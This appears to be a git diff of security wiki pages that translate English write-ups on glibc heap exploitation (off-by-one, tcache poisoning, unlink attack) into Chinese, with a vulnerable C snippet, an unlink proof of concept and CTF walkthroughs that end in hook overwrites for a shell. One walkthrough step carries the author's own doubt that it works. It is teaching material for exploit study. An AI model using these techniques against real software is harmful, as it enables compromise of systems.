- - This can be expoited with the [House of Einherjar](house-of-einherjar.md).
- - If using Tcache, this can be leveraged to a [double free](double-free.md) situation.
+- 任意字节:这种类型允许用任何值覆盖该字节
+- 空字节(off-by-null):这种类型仅允许用 0x00 覆盖该字节
+- 这种漏洞的一个常见示例可以在以下代码中看到,其中 `strlen` 和 `strcpy` 的行为不一致,这允许在下一个块的开头设置一个 0x00 字节。
+- 这可以通过 [House of Einherjar](house-of-einherjar.md) 进行利用。
+- 如果使用 Tcache,这可以被利用为 [double free](double-free.md) 情况。
Off-by-null
-
```c
// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
int main(void)
{
- char buffer[40]="";
- void *chunk1;
- chunk1 = malloc(24);
- puts("Get Input");
- gets(buffer);
- if(strlen(buffer)==24)
- {
- strcpy(chunk1,buffer);
- }
- return 0;
+char buffer[40]="";
+void *chunk1;
+chunk1 = malloc(24);
+puts("Get Input");
+gets(buffer);
+if(strlen(buffer)==24)
+{
+strcpy(chunk1,buffer);
+}
+return 0;
}
```
-
-Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28.
+在其他检查中,现在每当一个块被释放时,都会将前一个大小与元数据块中配置的大小进行比较,这使得从版本2.28开始,这种攻击相当复杂。
-### Code example:
+### 代码示例:
- [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c)
-- This attack is no longer working due to the use of Tcaches.
- - Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)`
+- 由于使用了Tcaches,这种攻击不再有效。
+- 此外,如果您尝试使用更大的块进行滥用(因此不涉及tcaches),您将收到错误:`malloc(): invalid next size (unsorted)`
-### Goal
+### 目标
-- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one
+- 使一个块包含在另一个块内,因此对第二个块的写入访问允许覆盖包含的块
-### Requirements
+### 要求
-- Off by one overflow to modify the size metadata information
+- 通过一个溢出修改大小元数据的信息
-### General off-by-one attack
+### 一般的越界攻击
-- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk.
-- Free `C` (inserted into 0x20 Tcache free-list).
-- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41.
-- Now we have `B` containing the free chunk `C`
-- Free `B` and allocate a 0x40 chunk (it will be placed here again)
-- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning)
+- 分配三个块 `A`、`B` 和 `C`(假设大小为0x20),以及另一个块以防止与顶块合并。
+- 释放 `C`(插入到0x20 Tcache空闲列表中)。
+- 使用块 `A` 溢出到 `B`。利用越界修改 `B` 的 `size` 字段从0x21变为0x41。
+- 现在我们有 `B` 包含空闲块 `C`
+- 释放 `B` 并分配一个0x40的块(它将再次放置在这里)
+- 我们可以修改 `C` 的 `fd` 指针,它仍然是空闲的(Tcache中毒)
-### Off-by-null attack
+### 越界空指针攻击
-- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that it’s 0x10 smaller than it really is).
-- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should.
-- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c.
-- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2.
+- 3个内存块(a、b、c)依次保留。然后释放中间的一个。第一个块包含一个越界溢出漏洞,攻击者利用它写入0x00(如果前一个字节是0x10,它将使中间块指示它比实际小0x10)。
+- 然后,在中间释放的块(b)中分配两个更小的块,但是,由于 `b + b->size` 从未更新 c 块,因为指向的地址小于它应该的值。
+- 然后,b1和c被释放。由于 `c - c->prev_size` 仍然指向 b(现在是 b1),两者合并为一个块。然而,b2仍然在 b1 和 c 之间。
+- 最后,执行新的 malloc,回收这个内存区域,实际上将包含 b2,允许新 malloc 的所有者控制 b2 的内容。
-This image explains perfectly the attack:
+这张图片完美地解释了攻击:
-## Other Examples & References
+## 其他示例与参考
- [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks)
- [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
- - Off-by-one because of `strlen` considering the next chunk's `size` field.
- - Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning.
+- 由于 `strlen` 考虑下一个块的 `size` 字段而导致的越界。
+- 正在使用 Tcache,因此一般的越界攻击可以通过 Tcache 中毒获得任意写入原语。
- [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks)
- - It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field.
- - Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write.
- - The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc.
- - Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget.
+- 可以利用越界泄漏堆中的地址,因为字符串末尾的字节0x00被下一个字段覆盖。
+- 通过滥用越界写入获得任意写入,指针指向另一个地方,在那里将构建一个带有假指针的假结构。然后,可以跟随该结构的指针以获得任意写入。
+- libc 地址被泄漏,因为如果使用 mmap 扩展堆,则 mmap 分配的内存与 libc 之间有固定的偏移量。
+- 最后,滥用任意写入将写入 \_\_free_hook 的地址,使用一个 gadget。
- [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb)
- - There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content.
- - In the writeup 5 initial chunks are created:
- - chunk1 (0x200)
- - chunk2 (0x50)
- - chunk5 (0x68)
- - chunk3 (0x1f8)
- - chunk4 (0xf0)
- - chunk defense (0x400) to avoid consolidating with top chunk
- - Then chunk 1, 5 and 3 are freed, so:
- - ```python
- [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
- ```
- - Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`.
- - Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
- - Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning:
- - ```python
- [ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
- ```
- - ```python
- [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
- ```
- - Then, `0x200` bytes are allocated filling the original chunk 1
- - And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done
- - Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook`
- - Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk
- - Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address
+- 在读取用户输入行的 `getline` 函数中存在一个 NULL 越界漏洞。此函数用于读取内容的“密钥”,而不是内容。
+- 在写作中创建了5个初始块:
+- chunk1 (0x200)
+- chunk2 (0x50)
+- chunk5 (0x68)
+- chunk3 (0x1f8)
+- chunk4 (0xf0)
+- 块防御 (0x400) 以避免与顶块合并
+- 然后释放块1、5和3,因此:
+- ```python
+[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
+```
+- 然后滥用块3 (0x1f8),越界空指针被滥用,将 prev_size 写入 `0x4e0`。
+- 注意最初分配的块1、2、5和3的大小加上这4个块的头部等于 `0x4e0`:`hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
+- 然后,释放块4,生成一个消耗所有块直到开头的块:
+- ```python
+[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
+```
+- ```python
+[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
+```
+- 然后,分配 `0x200` 字节,填充原始块1
+- 然后分配另一个0x200字节,块2被销毁,因此没有泄漏,这不工作?也许这不应该这样做
+- 然后,分配另一个块,填充0x58个“a”(覆盖块2并到达块5),并修改块5的快速空闲块的 `fd` 指针,指向 `__malloc_hook`
+- 然后,分配一个0x68的块,因此在 `__malloc_hook` 中的假快速空闲块是下一个快速空闲块
+- 最后,分配一个新的0x68的快速空闲块,并用 `one_gadget` 地址覆盖 `__malloc_hook`
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md
index 117f462b6..f324cd487 100644
--- a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md
+++ b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md
@@ -1,23 +1,23 @@
-# Overwriting a freed chunk
+# 重写已释放的块
{{#include ../../banners/hacktricks-training.md}}
-Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access:
+一些提议的堆利用技术需要能够重写已释放块中的指针。本页的目标是总结可能授予此访问权限的潜在漏洞:
-### Simple Use After Free
+### 简单的使用后释放
-If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers.
+如果攻击者能够**在一个已释放的块中写入信息**,他们可以利用这一点来重写所需的指针。
-### Double Free
+### 双重释放
-If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...)
+如果攻击者能够**对同一个块进行两次`free`**(可能在之间释放其他块)并使其**在同一个桶中出现两次**,用户将能够**稍后分配该块**,**写入所需的指针**,然后**再次分配它**,触发该块被分配的操作(例如,快速桶攻击,tcache攻击...)
-### Heap Overflow
+### 堆溢出
-It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it.
+可能会**溢出一个分配的块,后面有一个已释放的块**,并修改其一些头部/指针。
-### Off-by-one overflow
+### 一偏移溢出
-In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section).
+在这种情况下,可以**修改内存中下一个块的大小**。攻击者可以利用这一点**使一个分配的块具有更大的大小**,然后**`free`**它,使该块被**添加到不同大小的桶中**(更大),然后分配**伪大小**,攻击将能够访问一个**实际大小更大的块**,**因此授予重叠块的情况**,这可以以与**堆溢出**相同的方式利用(查看前一节)。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/tcache-bin-attack.md b/src/binary-exploitation/libc-heap/tcache-bin-attack.md
index 7c69db95c..79365315d 100644
--- a/src/binary-exploitation/libc-heap/tcache-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/tcache-bin-attack.md
@@ -4,44 +4,44 @@
## Basic Information
-For more information about what is a Tcache bin check this page:
+有关 Tcache bin 的更多信息,请查看此页面:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
-First of all, note that the Tcache was introduced in Glibc version 2.26.
+首先,请注意 Tcache 是在 Glibc 版本 2.26 中引入的。
-The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**.
+**Tcache attack**(也称为 **Tcache poisoning**)在 [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) 中提出,与快速 bin 攻击非常相似,其目标是在已释放的 chunk 中覆盖指向下一个 chunk 的指针,以指向一个任意地址,以便后续可以**分配该特定地址并可能覆盖指针**。
-However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned).
+然而,如今,如果运行上述代码,您将收到错误:**`malloc(): unaligned tcache chunk detected`**。因此,需要在新指针中写入一个对齐的地址(或执行足够多次二进制文件,以便写入的地址实际上是对齐的)。
### Tcache indexes attack
-Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case.
+通常可以在堆的开头找到一个 chunk,其中包含 **每个索引的 chunk 数量** 和 **每个 tcache 索引的头 chunk 地址**。如果出于某种原因可以修改此信息,则可以**使某个索引的头 chunk 指向所需地址**(如 `__malloc_hook`),然后分配一个与索引大小相同的 chunk,并在这种情况下覆盖 `__malloc_hook` 的内容。
## Examples
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
- - **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**.
- - **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\
- We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**.
+- **Libc info leak**:可以填充 tcaches,将一个 chunk 添加到未排序列表中,清空 tcache,然后**仅覆盖前 8B 从未排序 bin 中重新分配该 chunk**,使得**第二个地址保持不变,以便我们可以读取它**。
+- **Tcache attack**:该二进制文件易受 1B 堆溢出攻击。这将被滥用以更改已分配 chunk 的 **size header** 使其变大。然后,这个 chunk 将被 **释放**,将其添加到假大小的 tcache 中。接着,我们将分配一个假大小的 chunk,之前的 chunk 将被 **返回,知道这个 chunk 实际上更小**,这为**覆盖内存中的下一个 chunk**提供了机会。\
+我们将利用这一点**覆盖下一个 chunk 的 FD 指针**,使其指向 **`malloc_hook`**,然后可以分配 2 个指针:首先是我们刚刚修改的合法指针,然后第二次分配将返回一个在 **`malloc_hook`** 中的 chunk,可以利用它写入 **one gadget**。
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
- - **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one)
- - **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell.
+- **Libc info leak**:存在使用后释放和双重释放。在这篇文章中,作者通过读取放置在小 bin 中的 chunk 的地址泄露了 libc 的地址(就像从未排序 bin 中泄露,但来自小 bin)。
+- **Tcache attack**:通过 **双重释放** 执行 Tcache。相同的 chunk 被释放两次,因此在 Tcache 中,chunk 将指向自身。然后,它被分配,其 FD 指针被修改为指向 **free hook**,然后再次分配,因此列表中的下一个 chunk 将在 free hook 中。然后,这也被分配,可以在这里写入 `system` 的地址,因此当包含 `"/bin/sh"` 的 malloc 被释放时,我们获得一个 shell。
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
- - The main vuln here is the capacity to `free` any address in the heap by indicating its offset
- - **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100.
- - Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**.
- - Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\
- For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell.
+- 这里的主要漏洞是通过指示其偏移量来 `free` 堆中的任何地址的能力。
+- **Tcache indexes attack**:可以分配和释放一个大小的 chunk,当存储在 tcache chunk 中(包含 tcache bins 信息的 chunk)时,将生成一个 **值为 0x100 的地址**。这是因为 tcache 在不同字节中存储每个 bin 的 chunk 数量,因此一个特定索引中的 chunk 生成值 0x100。
+- 然后,这个值看起来像是一个大小为 0x100 的 chunk。允许通过 `free` 这个地址来滥用它。这将**将该地址添加到 tcache 中大小为 0x100 的 chunk 的索引**。
+- 然后,**分配**一个大小为 **0x100** 的 chunk,之前的地址将作为 chunk 返回,允许覆盖其他 tcache 索引。\
+例如,将 malloc hook 的地址放入其中一个索引中,并分配与该索引大小相同的 chunk 将获得一个在 calloc hook 中的 chunk,这允许写入一个 gadget 以获得 shell。
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
- - Same vulnerability as before with one extra restriction
- - **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it.
+- 与之前相同的漏洞,但有一个额外的限制。
+- **Tcache indexes attack**:与之前类似的攻击,但通过 **释放包含 tcache 信息的 chunk** 来减少步骤,因此其地址被添加到其大小的 tcache 索引中,因此可以分配该大小并将 tcache chunk 信息作为 chunk 获取,这允许将 free hook 添加为一个索引的地址,分配它,并在其上写入一个 gadget。
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
- - **Write After Free** to add a number to the `fd` pointer.
- - A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy.
- - **Glibc leak** through `stdout` (FSOP).
- - **Tcache poisoning** to get an arbitrary write primitive.
+- **Write After Free** 以将数字添加到 `fd` 指针。
+- 在这个挑战中需要大量的 **heap feng-shui**。这篇文章展示了 **控制 Tcache** 空闲列表的头部是多么方便。
+- 通过 `stdout` 的 **Glibc leak**(FSOP)。
+- **Tcache poisoning** 以获得任意写入原语。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/unlink-attack.md b/src/binary-exploitation/libc-heap/unlink-attack.md
index 959ff36db..73a80c6bf 100644
--- a/src/binary-exploitation/libc-heap/unlink-attack.md
+++ b/src/binary-exploitation/libc-heap/unlink-attack.md
@@ -2,16 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**.
+当这种攻击被发现时,它主要允许 WWW (Write What Where),然而,一些 **检查被添加** 使得攻击的新版本更加有趣、更复杂且 **无用**。
-### Code Example:
+### 代码示例:
-Code
-
+代码
```c
#include
#include
@@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
- size_t prev_size;
- size_t size;
- struct chunk_structure *fd;
- struct chunk_structure *bk;
- char buf[10]; // padding
+size_t prev_size;
+size_t size;
+struct chunk_structure *fd;
+struct chunk_structure *bk;
+char buf[10]; // padding
};
int main() {
- unsigned long long *chunk1, *chunk2;
- struct chunk_structure *fake_chunk, *chunk2_hdr;
- char data[20];
+unsigned long long *chunk1, *chunk2;
+struct chunk_structure *fake_chunk, *chunk2_hdr;
+char data[20];
- // First grab two chunks (non fast)
- chunk1 = malloc(0x8000);
- chunk2 = malloc(0x8000);
- printf("Stack pointer to chunk1: %p\n", &chunk1);
- printf("Chunk1: %p\n", chunk1);
- printf("Chunk2: %p\n", chunk2);
+// First grab two chunks (non fast)
+chunk1 = malloc(0x8000);
+chunk2 = malloc(0x8000);
+printf("Stack pointer to chunk1: %p\n", &chunk1);
+printf("Chunk1: %p\n", chunk1);
+printf("Chunk2: %p\n", chunk2);
- // Assuming attacker has control over chunk1's contents
- // Overflow the heap, override chunk2's header
+// Assuming attacker has control over chunk1's contents
+// Overflow the heap, override chunk2's header
- // First forge a fake chunk starting at chunk1
- // Need to setup fd and bk pointers to pass the unlink security check
- fake_chunk = (struct chunk_structure *)chunk1;
- fake_chunk->size = 0x8000;
- fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
- fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
+// First forge a fake chunk starting at chunk1
+// Need to setup fd and bk pointers to pass the unlink security check
+fake_chunk = (struct chunk_structure *)chunk1;
+fake_chunk->size = 0x8000;
+fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
+fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
- // Next modify the header of chunk2 to pass all security checks
- chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
- chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
- chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
+// Next modify the header of chunk2 to pass all security checks
+chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
+chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
+chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
- // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
- // This results in chunk1 pointer pointing to chunk1 - 3
- // i.e. chunk1[3] now contains chunk1 itself.
- // We then make chunk1 point to some victim's data
- free(chunk2);
- printf("Chunk1: %p\n", chunk1);
- printf("Chunk1[3]: %x\n", chunk1[3]);
+// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
+// This results in chunk1 pointer pointing to chunk1 - 3
+// i.e. chunk1[3] now contains chunk1 itself.
+// We then make chunk1 point to some victim's data
+free(chunk2);
+printf("Chunk1: %p\n", chunk1);
+printf("Chunk1[3]: %x\n", chunk1[3]);
- chunk1[3] = (unsigned long long)data;
+chunk1[3] = (unsigned long long)data;
- strcpy(data, "Victim's data");
+strcpy(data, "Victim's data");
- // Overwrite victim's data using chunk1
- chunk1[0] = 0x002164656b636168LL;
+// Overwrite victim's data using chunk1
+chunk1[0] = 0x002164656b636168LL;
- printf("%s\n", data);
+printf("%s\n", data);
- return 0;
+return 0;
}
```
-
-- Attack doesn't work if tcaches are used (after 2.26)
+- 如果使用了 tcaches(在 2.26 之后),攻击将无法工作
-### Goal
+### 目标
-This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm.
+此攻击允许**将指向一个块的指针更改为指向其自身之前的 3 个地址**。如果这个新位置(指针所在位置的周围)有有趣的内容,比如其他可控的分配/栈等,就可以读取/覆盖它们,从而造成更大的伤害。
-- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary
-- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\
- As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT).
+- 如果这个指针位于栈中,因为它现在指向自身之前的 3 个地址,用户可能可以读取和修改它,因此可以从栈中泄露敏感信息,甚至可能在不触碰 canary 的情况下修改返回地址。
+- 在 CTF 示例中,这个指针位于指向其他分配的指针数组中,因此,将其指向 3 个地址之前并能够读取和写入,就可以使其他指针指向其他地址。\
+由于用户也可以读取/写入其他分配,他可以泄露信息或在任意位置覆盖新地址(如在 GOT 中)。
-### Requirements
+### 要求
-- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes.
-- Stack leak in order to set the pointers of the fake chunk.
+- 在内存中(例如栈)有一些控制,以创建几个块并为某些属性赋值。
+- 栈泄漏以设置假块的指针。
-### Attack
+### 攻击
-- There are a couple of chunks (chunk1 and chunk2)
-- The attacker controls the content of chunk1 and the headers of chunk2.
-- In chunk1 the attacker creates the structure of a fake chunk:
- - To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating`
- - and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located:
+- 有几个块(chunk1 和 chunk2)
+- 攻击者控制 chunk1 的内容和 chunk2 的头部。
+- 在 chunk1 中,攻击者创建一个假块的结构:
+- 为了绕过保护,他确保字段 `size` 是正确的,以避免错误:`corrupted size vs. prev_size while consolidating`
+- 并且假块的字段 `fd` 和 `bk` 指向 chunk1 指针在内存中的存储位置,偏移量分别为 -3 和 -2,因此 `fake_chunk->fd->bk` 和 `fake_chunk->bk->fd` 指向内存(栈)中 chunk1 地址所在的位置:
-- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained.
-- When the second chunk is freed then this fake chunk is unlinked happening:
- - `fake_chunk->fd->bk` = `fake_chunk->bk`
- - `fake_chunk->bk->fd` = `fake_chunk->fd`
-- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**.
-- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**.
- - Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere.
- - Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**.
+- chunk2 的头部被修改,以指示前一个块未使用,并且大小是包含的假块的大小。
+- 当第二个块被释放时,这个假块被解除链接,发生:
+- `fake_chunk->fd->bk` = `fake_chunk->bk`
+- `fake_chunk->bk->fd` = `fake_chunk->fd`
+- 之前已经使得 `fake_chunk->fd->bk` 和 `fake_chunk->bk->fd` 指向同一个地方(chunk1 存储在栈中的位置,因此这是一个有效的链表)。由于**两者都指向同一个位置**,只有最后一个(`fake_chunk->bk->fd = fake_chunk->fd`)会生效。
+- 这将**覆盖栈中指向 chunk1 的指针为存储在栈中 3 个地址之前的地址(或字节)**。
+- 因此,如果攻击者能够再次控制 chunk1 的内容,他将能够**在栈中写入**,有可能覆盖返回地址,跳过 canary 并修改局部变量的值和指向。甚至再次修改存储在栈中的 chunk1 地址到一个不同的位置,如果攻击者能够再次控制 chunk1 的内容,他将能够在任何地方写入。
+- 请注意,这之所以可能是因为**地址存储在栈中**。风险和利用可能取决于**假块的地址存储在哪里**。
-## References
+## 参考
- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
-- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used:
- - CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
